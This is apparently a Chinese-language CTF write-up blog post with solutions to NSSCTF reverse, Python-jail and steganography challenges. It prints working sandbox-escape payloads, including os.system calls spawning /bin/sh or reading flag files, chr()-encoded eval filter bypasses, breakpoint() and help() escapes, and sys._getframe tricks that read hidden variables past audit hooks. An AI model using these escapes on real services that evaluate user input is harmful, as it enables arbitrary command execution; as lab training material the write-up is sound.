arr=[29, 0, 16, 23, 18, 61, 43, 41, 13, 28, 88, 94, 49, 110, 66, 44, 43, 28, 91, 108, 61, 7, 22, 7, 43, 51, 44, 46, 9, 18, 20, 6, 2, 24]
if(len(s)!=35  or s[0]!='N'):
    print("error")
    exit(0)
for i in range(1,len(s)):
    if(ord(s[i-1])^ord(s[i])!=arr[i-1]):
        print("error!")
        exit(0)
print("right!")

payload

思考了很久,提醒下做出来了

strs = ord("N")
flag = "N"
arr=[29, 0, 16, 23, 18, 61, 43, 41, 13, 28, 88, 94, 49, 110, 66, 44, 43, 28, 91, 108, 61, 7, 22, 7, 43, 51, 44, 46, 9, 18, 20, 6, 2, 24]
for i in range(0,34):#flag长度
    for j in range(45,126):#大小写assci
        if strs^j==arr[i]:
            flag+=chr(j)
            strs=j#赋变量形式确保每一个值都能和前一个进行异或操作
            break
print(flag)

MISC

calc_jail_beginner(JAIL)

__import__('os').system('cat flag')

calc_jail_beginner_level1

过滤了双引号、单引号、 以及斜杠

思路:把可见字符变成char

#the function of filter will banned some string ',",i,b
#it seems banned some payload 
#Can u escape it?Good luck!

def filter(s):
    not_allowed = set('"\'`ib')
    return any(c in not_allowed for c in s)

WELCOME = '''
  _                _                           _       _ _   _                _ __ 
 | |              (_)                         (_)     (_) | | |              | /_ |
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | | _____   _____| || |
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | | |/ _ \ \ / / _ \ || |
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | | |  __/\ V /  __/ || |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_| |_|\___| \_/ \___|_||_|
              __/ |                          _/ |                                  
             |___/                          |__/                                                                                      
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

payload

payload= "__import__('os').system('cat flag')"
exp = ""
for i in payload:
    exp +=f"chr({ord(i)})+"
print(f"eval({exp[:-1]}")

calc_jail_beginner_level2

调试模式一把梭哈哈哈

****breakpoint**"

calc_jail_beginner_level3

payload:

help()

+

!/bin/cat

空格 flag

calc_jail_beginner_level5.1(JAIL)

UP&DOWN_Aussie

倒过来的base58有点难看

花时间可以弄出来

2Rz4o1iHzajwMbPv5Lng4aKWkYa11KDfT7h9rEuWEtsZByKTv431L33ThtkE3EHepg5x8pEEG

piz.galf

倒过来的zip和一个bmp

payload

strs = ""
v = ""
res = strs.replace(' ','')
for i in range(0,len(res),2):
    v +=res[len(res)-i-2:len(res)-i]
with open('1.txt','w')as f:
    f.write(v)

python2 input(JAIL)

这是一个漏洞python2独有

input函数会接收用户的输入,如果用户输入系统函数即可造成命令执行

pyload

__import__('os').system('/bin/sh')

calc_jail_beginner_level2.5(JAIL)

调试模式一把梭

#the length is be limited less than 13
#it seems banned some payload 
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
    BLACKLIST = ["exec","input","eval"]
    for i in BLACKLIST:
        if i in s:
            print(f'{i!r} has been banned for security reasons')
            exit(0)

WELCOME = '''
  _                _                           _       _ _ _                _ ___    _____ 
 | |              (_)                         (_)     (_) | |              | |__ \  | ____|
 | |__   ___  __ _ _ _ __  _ __   ___ _ __     _  __ _ _| | | _____   _____| |  ) | | |__  
 | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__|   | |/ _` | | | |/ _ \ \ / / _ \ | / /  |___ \ 
 | |_) |  __/ (_| | | | | | | | |  __/ |      | | (_| | | | |  __/\ V /  __/ |/ /_ _ ___) |
 |_.__/ \___|\__, |_|_| |_|_| |_|\___|_|      | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/ 
              __/ |                          _/ |                                          
             |___/                          |__/                                                                                                            
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
    print("Oh hacker!")
    exit(0)
print('Answer: {}'.format(eval(input_data)))

*breakpoint

__import__('os').system('cat flag')

lake lake lake

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

在Python中使用globals()可查看全局变量,运行即可看到需要输入的key

key:a34af94e88aed5c34fb5ccfe08cd14ab

使用backdor 即可调用shell

__import__('os').system("/bin/sh")

flag=NSSCTF{be1be806-b3cc-4e5f-9656-8ff477085cba}

l@ke l@ke l@ke(JAIL)

#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>6):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _         _          _         _          _         _        
 | |  ____ | |        | |  ____ | |        | |  ____ | |       
 | | / __ \| | _____  | | / __ \| | _____  | | / __ \| | _____ 
 | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
 | | | (_| |   <  __/ | | | (_| |   <  __/ | | | (_| |   <  __/
 |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
     \____/               \____/               \____/                                                                                                                                                                                                                                        
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
    exit(0)
else:
    print("not found the choice")
    exit(0)

调用help命令 然后查看文件名字即可再次运行文件,猜测对这个进行了更改才会这样子

重新运行该文件后,再次调用help()命令重复同样的步骤可看到key

calc_jail_beginner_level5(JAIL)

可以直接调用import 不知道是不是自己方法没有做对,阴差阳错做出来了。

calc_jail_beginner_level5.1(JAIL)

上一个题目的升级版本许多函数被过滤掉import 无法调用系统执行命令的函数换一个思路解决

根据提示使用dir可以看到一个类逐个读取里面方法可得到进一步提升,使用join可看到

image-20221024214607881

image-20221024214719740

4 byte command

根据题意只能输入四个字符

尝试了很多发现过滤很多只能四个字符多空格都不行。懊恼一直未成功试了一下bash成功获得shell

calc_jail_beginner_level4(JAIL)

payload

open(bytes([46, 47, 102, 108, 97, 103]).decode()).read()*

[WEEK2]laKe laKe laKe(JAIL)

题目代码

#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
    del __builtins__.__dict__[m]


def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
    game_score = 0
    sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
    sys.stdout.flush()
    right_guesser_question_answer = random.randint(1, 9999999999999)
    sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

    try:
        input_data = eval_func(input(''),{},{})
    except Exception:
        sys.stdout = challenge_original_stdout
        print("Seems not right! please guess it!")
        return game_score
    sys.stdout = challenge_original_stdout

    if input_data == right_guesser_question_answer:
        game_score += 1
    
    return game_score

WELCOME='''
  _       _  __      _       _  __      _       _  __    
 | |     | |/ /     | |     | |/ /     | |     | |/ /    
 | | __ _| ' / ___  | | __ _| ' / ___  | | __ _| ' / ___ 
 | |/ _` |  < / _ \ | |/ _` |  < / _ \ | |/ _` |  < / _ \
 | | (_| | . \  __/ | | (_| | . \  __/ | | (_| | . \  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
                                                         
'''

def main():
    print(WELCOME)
    print('Welcome to my guesser game!')
    game_score = guesser()
    if game_score == 1:
        print('you are really super guesser!!!!')
        print(open_func('flag').read())
    else:
        print('Guess game end!!!')

if __name__ == '__main__':
    sys.addaudithook(my_audit_hook)
    main()

禁掉了许多的函数但是SYS库中存在下面这些东西

sys._getframe(0).f_code.co_varnames
sys._getframe(0).f_locals
sys._getframe(1).f_locals

拼凑出payload则为这样子

__import__('sys')._getframe(1).f_locals.values()[1]
或者为这样子 上一种有可能读不出东西
list(__import__('sys')._getframe(1).f_locals.values())[1]

PDF && PNG

下载出来一个pdf 仔细查看发现一条一点东西

binwalk -e flag.pdf 进行分离得到一堆十六进制东西

使用PTL模块转换回来

from PIL import Image
x= 562
y = 100
im = Image.new('RGB',(x,y))
f = open("NSSCTF\\1.txt").read()
s = f.split(' ')
count = 0
length = 1
a = ()
for i in range(y):
    for j in range(x):
        tmp = (int(s[count],16),int(s[count+1],16),int(s[count+2],16))
        im.putpixel((j,i),tmp)
        if(a==tmp):
            length+=1
        else:
            if(length>1):
                print(chr(length),end='')
            length=1
        a = (int(s[count],16),int(s[count+1],16),int(s[count+2],16))
        count+=3
        if(count==6369):
            exit()

可以得到key值当这并不是最终答案观看大佬文章得到这是密钥得使用

wbs43open 解密

key:d1d_u_f1nd_Th1s_KEy_F1l3

回到win7虚拟机 使用软件解密pdf即可得到flag

flag=NSSCTF{u_can_use_wbstego_and_find_flag}

Bronya

下载得到一个压缩包其中压缩包进行了加密使用暴力破解得到密码为

20160818

打开得到两张一模一样的图片。使用各种方法尝试均未成功卡了两天。后面和他们讨论得知为两张图片水印隐写

网络上存在脚本可解密得出

github:chishaxie/BlindWaterMark: 盲水印 by python (github.com)

运行脚本可得到一张特别模糊的图片仔细查看可发现flag

python.exe .\bwmforpy3.py decode .\bronya.png .\flag.png demo.png

image-20221024132022322

flag=nssctf{Tb3_P10t_S0_sweet}

ez_lsp

steglove一把梭,lsb隐写扫描出来一个二维码base32解密得到flag

posted @ 2022-11-29 10:04  TTkali  阅读(1177)  评论(0编辑  收藏  举报